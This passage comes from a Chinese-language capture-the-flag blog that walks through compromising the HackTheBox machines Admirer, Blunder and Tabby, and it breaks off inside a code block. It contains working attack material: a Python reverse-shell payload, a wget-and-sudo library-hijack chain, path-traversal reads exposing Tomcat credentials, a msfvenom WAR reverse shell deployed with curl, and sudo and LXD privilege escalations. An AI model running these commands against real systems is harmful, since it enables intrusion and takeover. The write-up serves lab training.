其次就是我没想过这种命令他会执行一些系统命令不带索引而是走环境变量 藏得非常深&lt;/p&gt;&#10;&lt;h2 id="23admirer"&gt;&lt;a href="#23admirer" class="header-anchor"&gt;&lt;/a&gt;23.Admirer&#10;&lt;/h2&gt;&lt;p&gt;信息收集：&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0523.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0524.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0525.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0526.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0527.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;直接说结果 ftp没有匿名登录 但是根据目录爆破找到了ftp的密码 ftp登陆上去发现两个文件&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0528.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;解压之后找到了重要文件&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0529.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;http://10.10.10.187/utility-scripts/admin_tasks.php&lt;/p&gt;&#10;&lt;p&gt;这个主要方式就是如果task等于1-7 就执行shell_exec(&amp;quot;/opt/scripts/admin_tasks.sh $task 2&amp;gt;&amp;amp;1&amp;quot;))&lt;/p&gt;&#10;&lt;p&gt;所以这里只要能够填写数字然后后面拼接命令就行 主要是绕过if语句1-7&lt;/p&gt;&#10;&lt;p&gt;但是php弱类型完全无法绕过&lt;/p&gt;&#10;&lt;p&gt;这个地方获取根本不存在漏洞 基本上发现的目录都进行了爆破&lt;/p&gt;&#10;&lt;p&gt;最后没有找到方法 看了下一步的wp 发现还有一个adminer.php的文件 他跟靶机的名称就差了一个字符 我并没有找到他 wp的下一步是根据提示出来 然而我并没有发现任何提示&lt;/p&gt;&#10;&lt;p&gt;目前有了一个新的切入点就是 adminer.php&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0530.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;我尝试利用之前获得的账号密码进行连接 发现根本行不通 这个地方又卡了我很久很久 我没想到这一个地方能卡这么久 后续也是实在是没办法了 看了眼wp&lt;/p&gt;&#10;&lt;p&gt;他是这么提示的 他说这个mysql一直连不上没办法 有一个思路如下&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://infosecwriteups.com/adminer-script-results-to-pwning-server-private-bug-bounty-program-fe6d8a43fe6f" target="_blank" rel="noopener"&#10; &gt;https://infosecwriteups.com/adminer-script-results-to-pwning-server-private-bug-bounty-program-fe6d8a43fe6f&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;这个思路是这样的 CVE-2021-43008读取文件是在它本地读 只要我们能进去连接到后台去就行 无论连接的是谁的数据库&lt;/p&gt;&#10;&lt;p&gt;于是又找到了一个切入点就开始操作 这次非常顺利&lt;/p&gt;&#10;&lt;p&gt;在kali上开启mysql 下面是我参考的博客&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.cnblogs.com/dll102/p/16008382.html" target="_blank" rel="noopener"&#10; &gt;https://www.cnblogs.com/dll102/p/16008382.html&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://blog.csdn.net/lxyoucan/article/details/131282508" target="_blank" rel="noopener"&#10; &gt;https://blog.csdn.net/lxyoucan/article/details/131282508&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;操作完 就可以在远程服务器上进行连接了 最主要是这一步&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0531.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0532.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;这里就可以进来的 再根据下面这个博客利用文件读取漏洞进行读取&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://podalirius.net/en/cves/2021-43008/" target="_blank" rel="noopener"&#10; &gt;https://podalirius.net/en/cves/2021-43008/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;但是这里要注意一点 就是/etc/passwd等是无法读取的 后面猜到/var/www/html目录 可以读里面的内容 但是utility-scripts/db_admin.php 这个文件并不存在 所以无法读取数据库密码等信息 后续发现 /var/www/html/index.php 里面还是存在密码的&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0533.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;密码不一样导致的无法连接&lt;/p&gt;&#10;&lt;p&gt;其实在这一步我试了很多 读passwd、读waldo的私钥等都没有用 到这一步才找到&lt;/p&gt;&#10;&lt;p&gt;这个密码可以连接ssh 就此拿到了立足点 上线之后第一件事有密码了直接sudo -l&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0534.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;还是有东西的 这里讲一下我的思路吧&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0535.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;无法修改的权限&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0536.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;里面的参数都指明了是什么文件 并不存在更改环境变量来越权 包括/usr/bin/mysqldump这个文件 他没有个w权限&lt;/p&gt;&#10;&lt;p&gt;那么非常可疑的就是backup.py那个文件了&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0537.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;只给了r权限&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0538.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;这里就有点一目了然了 伪造一个shutil.py的文件 在这个程序启动时会自动调用 shutil.py 这个时候放入主函数的代码也会调用 写个shell就行&lt;/p&gt;&#10;&lt;p&gt;所以目前的思路就是劫持python库 最最最常见的方法有两种 第一个在backup.py下面写一个shutil.py 他会优先调用当前文件夹的库&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0539.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;但是并没有写入权限&lt;/p&gt;&#10;&lt;p&gt;第二种就是直接改链接库里的shutil.py 但是也没有权限&lt;/p&gt;&#10;&lt;p&gt;试了都不行 google之后发现还有两种方法 就是添加当前终端的环境变量&lt;/p&gt;&#10;&lt;p&gt;export PYTHONPATH=/tmp/&#10;但是我试了还是不行&lt;/p&gt;&#10;&lt;p&gt;第二种方法就是在sudo的时候传入环境变量&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0540.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;echo &amp;lsquo;import socket,subprocess,os\ndef make_archive(a,b,c):\n\ts=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n\ts.connect((&amp;ldquo;10.10.16.21&amp;rdquo;,9999))\n\tos.dup2(s.fileno(),0)\n\tos.dup2(s.fileno(),1)\n\tos.dup2(s.fileno(),2)\n\timport pty\n\tpty.spawn(&amp;ldquo;sh&amp;rdquo;)&amp;rsquo; &amp;gt; shutil.py&lt;/p&gt;&#10;&lt;p&gt;写入文件并不能转义 这里从kali上面把文件传了过来 最后构造命令就行了&lt;/p&gt;&#10;&lt;p&gt;wget &lt;a class="link" href="http://10.10.16.21:33333/Admirer/utility-scripts/shutil.py;chmod" target="_blank" rel="noopener"&#10; &gt;http://10.10.16.21:33333/Admirer/utility-scripts/shutil.py;chmod&lt;/a&gt; 600 shutil.py;sudo PYTHONPATH=/home/waldo /opt/scripts/admin_tasks.sh 6&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0541.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;到此就结束了&lt;/p&gt;&#10;&lt;p&gt;这个靶场在我看来非常符合oscp 正是因为符合 所以有很多东西都特别复杂&lt;/p&gt;&#10;&lt;p&gt;第一个adminer.php这个文件我一直没有想到 第二个关于adminer的特性我也完全没有搜到 第一个考验思路 第二个考验搜索能力 也就是google的能力 需要提炼词汇进行搜索&lt;/p&gt;&#10;&lt;p&gt;然后就是提权 提权这部分算是比较简单的 但是python引用的这部分我浪费了很多时间 前三种方法一直行不通 最后才找到的 sudo 后面加上环境变量可以直接传入给sudo后面的命令 不带环境变量 直接 export PYTHONPATH=/home/waldo 导致后面的识别不到 又或者sudo -E 可能会把环境变量带过去 但是实际上并没有 这个地方也浪费了很多时间&lt;/p&gt;&#10;&lt;h2 id="24blunder"&gt;&lt;a href="#24blunder" class="header-anchor"&gt;&lt;/a&gt;24.Blunder&#10;&lt;/h2&gt;&lt;p&gt;信息收集：&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0542.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0543.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0544.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;直接讲结论吧 一开始的信息收集可能有敲门端口才能解开 这个先记一下 接着往后走 根据网站的信息找到了框架&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0545.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0546.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;BLUDIT v3.9.2&lt;/p&gt;&#10;&lt;p&gt;直接找exp打就行 符合这个版本的在kali里面搜索只搜到了用户爆破的脚本&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0547.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;用户名也出来了&lt;/p&gt;&#10;&lt;p&gt;种种其实都提示要去爆破 给了用户名 给了版本号 而且是3.9.2及以下版本才有这个用户爆破的脚本&lt;/p&gt;&#10;&lt;p&gt;cewl对主页进行爬取生成了一个字典&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0548.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;直接跑脚本就行&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0549.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;有了账号密码 但是kali里面没有给rce的脚本 google找到了一个符合的脚本&lt;/p&gt;&#10;&lt;p&gt;介绍：&lt;a class="link" href="https://www.anquanke.com/post/id/197105" target="_blank" rel="noopener"&#10; &gt;https://www.anquanke.com/post/id/197105&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;脚本：&lt;a class="link" href="https://github.com/ynots0ups/CVE-2019-16113/blob/master/cve-2019-16113.py" target="_blank" rel="noopener"&#10; &gt;https://github.com/ynots0ups/CVE-2019-16113/blob/master/cve-2019-16113.py&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;直接利用就行 可能得改一下 不然会有点问题&lt;/p&gt;&#10;&lt;p&gt;主要的问题在这 根据报错找到了原因&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0550.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;最后不要有/ 不然就会报错&lt;/p&gt;&#10;&lt;p&gt;拿到了shell&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0551.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;开始提权 第一件事翻配置文件&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0552.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;找到了一堆db.php 但是没东西 接着翻到了databases下面的user.php 里面有账号和密码&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0553.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;第一个是加盐了的 账号是admin 可以用john进行爆破&lt;/p&gt;&#10;&lt;p&gt;但是第二个3.10版本 有一个hugo的用户&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0554.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;正好家目录其实也有个hugo&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0555.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;hugo:Password120&#9;&#9;直接su hugo就行了&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0556.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0557.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;直接就切换到shaun了&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0558.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;LinEnum给了一个利用点 其实在www-data的时候我就发现这个了 他的组实在是太多了 找给组的可利用程序可以看看&lt;/p&gt;&#10;&lt;p&gt;但是并没有这些组可以利用的可执行程序 后续一直在找利用点 一直找不到&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0559.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;当时找到了版本 我尝试利用这个版本的漏洞&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0560.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;最终找到了这个 &lt;a class="link" href="https://www.exploit-db.com/exploits/47502" target="_blank" rel="noopener"&#10; &gt;https://www.exploit-db.com/exploits/47502&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;很巧的是它的利用条件就跟我在hugo的sudo -l一样&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0561.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;执行 sudo -u#-1 /bin/bash 成功提权&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0562.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;这个相对来说还是比较简单的 没有学到新的服务 程序等等&lt;/p&gt;&#10;&lt;p&gt;算是常规类的 需要的只是思路 只能说在优化一下思路把 每一个程序都可能存在漏洞 都需要挨个看&lt;/p&gt;&#10;&lt;h2 id="25tabby"&gt;&lt;a href="#25tabby" class="header-anchor"&gt;&lt;/a&gt;25.Tabby&#10;&lt;/h2&gt;&lt;p&gt;信息收集：&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0563.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;没有udp的&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0564.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;直接说结论吧&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0565.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;任意文件读取 php伪协议貌似行不通 不能读出来index.php和news.php的源码&lt;/p&gt;&#10;&lt;p&gt;后续就没找到其他东西了 网站目录还是在 /var/www/html/index.php&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0566.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;到这里就非常明显了 找到tomcat-users.xml 直接登录进去就行&lt;/p&gt;&#10;&lt;p&gt;我试了很多目录都不行 收集了很多字典 都不行 最后才找到这个目录&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://talk.openmrs.org/t/configuring-apache-tomcat-9/32379" target="_blank" rel="noopener"&#10; &gt;https://talk.openmrs.org/t/configuring-apache-tomcat-9/32379&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;这个问答提到了 usr/share/tomcat9/etc/tomcat-users.xml&lt;/p&gt;&#10;&lt;p&gt;收集完这些信息之后丢掉burpsuite跑 最终跑了出来 值得一提的是在html里面xml是不会显示的 得f12查看源码&lt;/p&gt;&#10;&lt;p&gt;view-source:&lt;a class="link" href="http://megahosting.htb/news.php?file=../../../../../../../../../usr/share/tomcat9/etc/tomcat-users.xml" target="_blank" rel="noopener"&#10; &gt;http://megahosting.htb/news.php?file=../../../../../../../../../usr/share/tomcat9/etc/tomcat-users.xml&lt;/a&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;role rolename=&amp;#34;admin-gui&amp;#34;/&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;role rolename=&amp;#34;manager-script&amp;#34;/&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;user username=&amp;#34;tomcat&amp;#34; password=&amp;#34;$3cureP4s5w0rd123!&amp;#34; roles=&amp;#34;admin-gui,manager-script&amp;#34;/&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;manage登录不上 只能登录到&lt;a class="link" href="http://megahosting.htb:8080/host-manager/html" target="_blank" rel="noopener"&#10; &gt;http://megahosting.htb:8080/host-manager/html&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0567.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://cloud.tencent.com/developer/article/1578239" target="_blank" rel="noopener"&#10; &gt;https://cloud.tencent.com/developer/article/1578239&lt;/a&gt;&#10;&lt;a class="link" href="https://blog.csdn.net/weixin_41924764/article/details/108196725" target="_blank" rel="noopener"&#10; &gt;https://blog.csdn.net/weixin_41924764/article/details/108196725&lt;/a&gt;&#10;这两个博客写的非常好 完全就是针对于这个情况的&lt;/p&gt;&#10;&lt;p&gt;但是我尝试了非常非常多的次数 找了些博客提示 貌似得在这个网站定义我们的域名才能使用 不然无法使用&#10;后续只能找其他方法 根据角色名称我找到了两个教程&lt;/p&gt;&#10;&lt;p&gt;google搜索 Apache Tomcat manager-script exploit&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://medium.com/@nginx0/backtrack-2-5-thm-writeup-cb4eddb8b18c" target="_blank" rel="noopener"&#10; &gt;https://medium.com/@nginx0/backtrack-2-5-thm-writeup-cb4eddb8b18c&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://medium.com/@cyb0rgs/exploiting-apache-tomcat-manager-script-role-974e4307cd00" target="_blank" rel="noopener"&#10; &gt;https://medium.com/@cyb0rgs/exploiting-apache-tomcat-manager-script-role-974e4307cd00&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;都是同一个漏洞 我本以为这个war文件和在tomcat manager页面生成的方式是一样的 自行打包就行 所以我一直在尝试自己的war文件 这两个教程教的都是 msfvenom 生成war后门 一般来说oscp允许使用一次msf 但是生成后门的msfvenon没有限制次数 因为他只是用来生成后门的 只有msfconsole允许一次&lt;/p&gt;&#10;&lt;p&gt;试了自行生成的一直不行&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;msfvenom -p java/shell_reverse_tcp LHOST=10.10.16.19 LPORT=9999 -f war -o pwn.war&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl -v -u &amp;#39;tomcat:$3cureP4s5w0rd123!&amp;#39; --upload-file pwn.war &amp;#34;http://megahosting.htb:8080/manager/text/deploy?path=/foo&amp;amp;update=true&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl http://megahosting.htb:8080/foo&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nc -lvnp 9999&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;直接就能拿到shell了&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0568.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;准备提权&lt;/p&gt;&#10;&lt;p&gt;sudo -l 以及s 还有suid都没有&lt;/p&gt;&#10;&lt;p&gt;第一件事先去看看www目录有什么 new.php只有任意文件读取没有文件包含&lt;/p&gt;&#10;&lt;p&gt;但是file文件夹的所有者为ash&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0569.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0570.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;nc传到kali然后解压看看&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0571.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;但是要密码 解出来密码为 admin@it&lt;/p&gt;&#10;&lt;p&gt;我后面看了半天解压的文件 啥都没有 唯一有可能的我理解为 fgets 这个函数可能存在文件包含 但实际上不可能存在&lt;/p&gt;&#10;&lt;p&gt;后续想到了它可能是ash的密码 su切换一下 发现还真是&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0572.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;后续接着提权 我试了很多方法 sudo不让用 pspy32给了个&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0573.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;实际上也没用 然后我想到了 80端口那个网站权限会不会是root的 如果我往ash拥有的文件夹 files写入php文件&lt;/p&gt;&#10;&lt;p&gt;是不是就能直接提权root 但是实际上那个files文件夹不允许写入 chmod +w 都不行 只允许可读 权限被限死了&lt;/p&gt;&#10;&lt;p&gt;包括sudo的版本&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0574.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;这些组我都挨个find找是否有用户组存在的可执行文件等等&lt;/p&gt;&#10;&lt;p&gt;但是都没有 最后我传上去了 LinEnum&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0575.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;提到了这个 我并不清楚他提的lxd是什么 去搜了下&lt;/p&gt;&#10;&lt;p&gt;找到了很多关于这个的exploit 这些博客提到如果我属于lxd或者lxc组 我就可以成为root&lt;/p&gt;&#10;&lt;p&gt;kali上也有关于这个的payload&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0576.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;我尝试根据这个payload去操作 但是一直执行失败 最终我在google里的第一篇文章解决了&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation" target="_blank" rel="noopener"&#10; &gt;https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;我上传上去发现一直执行失败 首先得改exp 他没有给lxc和lxd设置环境变量&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 